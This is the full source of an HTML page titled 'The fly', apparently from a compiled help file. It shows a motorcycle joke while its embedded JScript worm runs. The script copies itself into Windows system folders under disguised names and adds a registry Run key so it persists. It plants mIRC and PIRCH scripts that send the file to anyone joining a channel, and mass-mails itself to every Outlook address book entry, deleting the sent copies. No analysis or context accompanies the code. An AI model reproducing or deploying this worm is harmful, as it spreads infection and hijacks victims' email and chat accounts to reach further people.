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- <html>
- <head>
- <title>
- The fly
- </title>
- </head>
- <body bgcolor="#000000" text="#00d8d5">
- <font face="arial" size="5">
- <img alt="" border="0" src="the_fly.jpg" style="display:none;">
- <br style="display:none;">
- <script language="JScript">
- try {
- Bible = new ActiveXObject("Scripting.FileSystemObject");
- throw "Religion";
- }
- catch(Christ) {
- if (Christ == "Religion") {
- document.all(5).style.display = "block";
- document.all(6).style.display = "block";
- document.writeln("If you ride a motorcycle, close your mouth.");
- Bible.CopyFile(document.location.pathname.replace("/@MSITStore:","").replace("::/the_fly.htm",""),Bible.BuildPath(Bible.GetSpecialFolder(0),"THE_FLY.CHM"));
- Bible.CopyFile(document.location.pathname.replace("/@MSITStore:","").replace("::/the_fly.htm",""),Bible.BuildPath(Bible.GetSpecialFolder(1),"DXGFXB3D.DLL"));
- Jesus = Bible.CreateTextFile(Bible.BuildPath(Bible.GetSpecialFolder(1),"MSJSVM.JS"),true);
- Jesus.WriteLine("Prayer = new ActiveXObject(\"Scripting.FileSystemObject\");")
- Jesus.WriteLine("if (Prayer.FileExists(Prayer.BuildPath(Prayer.GetSpecialFolder(0),\"THE_FLY.CHM\")) == true) {")
- Jesus.WriteLine("God();")
- Jesus.WriteLine("}")
- Jesus.WriteLine("else {")
- Jesus.WriteLine("if (Prayer.FileExists(Prayer.BuildPath(Prayer.GetSpecialFolder(1),\"DXGFXB3D.DLL\")) == true) {")
- Jesus.WriteLine("Prayer.CopyFile(Prayer.BuildPath(Prayer.GetSpecialFolder(1),\"DXGFXB3D.DLL\"),Prayer.BuildPath(Prayer.GetSpecialFolder(0),\"THE_FLY.CHM\"));")
- Jesus.WriteLine("God();")
- Jesus.WriteLine("}")
- Jesus.WriteLine("else {")
- Jesus.WriteLine("Jehovah();")
- Jesus.WriteLine("}")
- Jesus.WriteLine("}")
- Jesus.WriteLine("function God() {")
- Jesus.WriteLine("Anglican = new Enumerator(Prayer.Drives);")
- Jesus.WriteLine("for (Theism = 1; Theism <= Prayer.Drives.Count; Theism++) {")
- Jesus.WriteLine("Samuel = Anglican.item();")
- Jesus.WriteLine("if (Samuel.DriveType == 2) {")
- Jesus.WriteLine("Pagan(Samuel.DriveLetter.concat(\":\\\\MIRC\"));")
- Jesus.WriteLine("Pagan(Samuel.DriveLetter.concat(\":\\\\PIRCH98\"));")
- Jesus.WriteLine("}")
- Jesus.WriteLine("if (Theism < Prayer.Drives.Count) {")
- Jesus.WriteLine("Anglican.moveNext();")
- Jesus.WriteLine("}")
- Jesus.WriteLine("}")
- Jesus.WriteLine("Atheism = new ActiveXObject(\"WScript.Shell\");")
- Jesus.WriteLine("Pagan(Prayer.BuildPath(Atheism.RegRead(\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ProgramFilesDir\"),\"MIRC\"));")
- Jesus.WriteLine("Pagan(Prayer.BuildPath(Atheism.RegRead(\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ProgramFilesDir\"),\"PIRCH98\"));")
- Jesus.WriteLine("Resurrection = new Date();")
- Jesus.WriteLine("if (Resurrection.getMinutes() == 30) {")
- Jesus.WriteLine("Jehovah();")
- Jesus.WriteLine("}")
- Jesus.WriteLine("}")
- Jesus.WriteLine("function Pagan(Jude) {")
- Jesus.WriteLine("if (Prayer.FolderExists(Jude) == true) {")
- Jesus.WriteLine("if (Prayer.FileExists(Prayer.BuildPath(Jude,\"MIRC32.EXE\")) == true) {")
- Jesus.WriteLine("Exodus = Prayer.CreateTextFile(Prayer.BuildPath(Jude,\"SCRIPT.INI\"),true);")
- Jesus.WriteLine("Exodus.WriteLine(\"[script]\");")
- Jesus.WriteLine("Exodus.WriteLine(\"n0=on 1:join:#:if $me != $nick dcc send $nick \".concat(Prayer.BuildPath(Prayer.GetSpecialFolder(0),\"THE_FLY.CHM\")));")
- Jesus.WriteLine("Exodus.Close();")
- Jesus.WriteLine("}")
- Jesus.WriteLine("if (Prayer.FileExists(Prayer.BuildPath(Jude,\"PIRCH98.EXE\")) == true) {")
- Jesus.WriteLine("Romans = Prayer.CreateTextFile(Prayer.BuildPath(Jude,\"EVENTS.INI\"),true);")
- Jesus.WriteLine("Romans.WriteLine(\"[Levels]\");")
- Jesus.WriteLine("Romans.WriteLine(\"Enabled=1\");")
- Jesus.WriteLine("Romans.WriteLine(\"Count=6\");")
- Jesus.WriteLine("Romans.WriteLine(\"Level1=000-Unknowns\");")
- Jesus.WriteLine("Romans.WriteLine(\"000-UnknownsEnabled=1\");")
- Jesus.WriteLine("Romans.WriteLine(\"Level2=100-Level 100\");")
- Jesus.WriteLine("Romans.WriteLine(\"100-Level 100Enabled=1\");")
- Jesus.WriteLine("Romans.WriteLine(\"Level3=200-Level 200\");")
- Jesus.WriteLine("Romans.WriteLine(\"200-Level 200Enabled=1\");")
- Jesus.WriteLine("Romans.WriteLine(\"Level4=300-Level 300\");")
- Jesus.WriteLine("Romans.WriteLine(\"300-Level 300Enabled=1\");")
- Jesus.WriteLine("Romans.WriteLine(\"Level5=400-Level 400\");")
- Jesus.WriteLine("Romans.WriteLine(\"400-Level 400Enabled=1\");")
- Jesus.WriteLine("Romans.WriteLine(\"Level6=500-Level 500\");")
- Jesus.WriteLine("Romans.WriteLine(\"500-Level 500Enabled=1\");")
- Jesus.WriteLine("Romans.WriteLine(\"\");")
- Jesus.WriteLine("Romans.WriteLine(\"[000-Unknowns]\");")
- Jesus.WriteLine("Romans.WriteLine(\"User1=*!*@*\");")
- Jesus.WriteLine("Romans.WriteLine(\"UserCount=1\");")
- Jesus.WriteLine("Romans.WriteLine(\"Event1=ON JOIN:#:/dcc send $nick \".concat(Prayer.BuildPath(Prayer.GetSpecialFolder(0),\"THE_FLY.CHM\")));")
- Jesus.WriteLine("Romans.WriteLine(\"EventCount=1\");")
- Jesus.WriteLine("Romans.WriteLine(\"\");")
- Jesus.WriteLine("Romans.WriteLine(\"[100-Level 100]\");")
- Jesus.WriteLine("Romans.WriteLine(\"UserCount=0\");")
- Jesus.WriteLine("Romans.WriteLine(\"EventCount=0\");")
- Jesus.WriteLine("Romans.WriteLine(\"\");")
- Jesus.WriteLine("Romans.WriteLine(\"[200-Level 200]\");")
- Jesus.WriteLine("Romans.WriteLine(\"UserCount=0\");")
- Jesus.WriteLine("Romans.WriteLine(\"EventCount=0\");")
- Jesus.WriteLine("Romans.WriteLine(\"\");")
- Jesus.WriteLine("Romans.WriteLine(\"[300-Level 300]\");")
- Jesus.WriteLine("Romans.WriteLine(\"UserCount=0\");")
- Jesus.WriteLine("Romans.WriteLine(\"EventCount=0\");")
- Jesus.WriteLine("Romans.WriteLine(\"\");")
- Jesus.WriteLine("Romans.WriteLine(\"[400-Level 400]\");")
- Jesus.WriteLine("Romans.WriteLine(\"UserCount=0\");")
- Jesus.WriteLine("Romans.WriteLine(\"EventCount=0\");")
- Jesus.WriteLine("Romans.WriteLine(\"\");")
- Jesus.WriteLine("Romans.WriteLine(\"[500-Level 500]\");")
- Jesus.WriteLine("Romans.WriteLine(\"UserCount=0\");")
- Jesus.WriteLine("Romans.WriteLine(\"EventCount=0\");")
- Jesus.WriteLine("Romans.Close();")
- Jesus.WriteLine("}")
- Jesus.WriteLine("}")
- Jesus.WriteLine("}")
- Jesus.WriteLine("function Jehovah() {")
- Jesus.WriteLine("WScript.Echo(\"//MIRC/OUTLOOK/PIRCH.CommonSense by Zulu\\nif (CommonSense == true) {\\n God = false;\\n Religion = false;\\n}\\nelse {\\n God = true;\\n Religion = true;\\n}\");")
- Jesus.WriteLine("}")
- Jesus.Close();
- Islam = new ActiveXObject("WScript.Shell");
- Islam.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\JavaScript VM",Bible.BuildPath(Bible.GetSpecialFolder(1),"MSJSVM.JS"));
- try {
- Hinduism = new ActiveXObject("Outlook.Application");
- throw "Church";
- }
- catch(Buddhism) {
- if (Buddhism == "Church") {
- Judaism = Hinduism.GetNameSpace("MAPI");
- for (Vushnu = 1; Vushnu <= Judaism.AddressLists.Count; Vushnu++) {
- if (Judaism.AddressLists(Vushnu).AddressEntries.Count > 0) {
- Messiah = Hinduism.CreateItem(0);
- for (Shiva = 1; Shiva <= Judaism.AddressLists(Vushnu).AddressEntries.Count; Shiva++) {
- Nazareth = Judaism.AddressLists(Vushnu).AddressEntries(Shiva);
- if (Shiva == 1) {
- Messiah.BCC = Nazareth.Address;
- }
- else {
- Messiah.BCC = Messiah.BCC.concat("; ").concat(Nazareth.Address);
- }
- }
- Messiah.Subject = "Funny thing";
- Messiah.Body = "> If you ride a motorcycle, close your mouth. :)";
- Messiah.Attachments.Add(Bible.BuildPath(Bible.GetSpecialFolder(0),"THE_FLY.CHM"));
- Messiah.DeleteAfterSubmit = true;
- Messiah.Send;
- }
- }
- }
- }
- }
- else {
- document.writeln("The picture couldn't be shown. ActiveX wasn't allowed, please reload and select to use it.");
- }
- }
- </script>
- </font>
- </body>
- </html>
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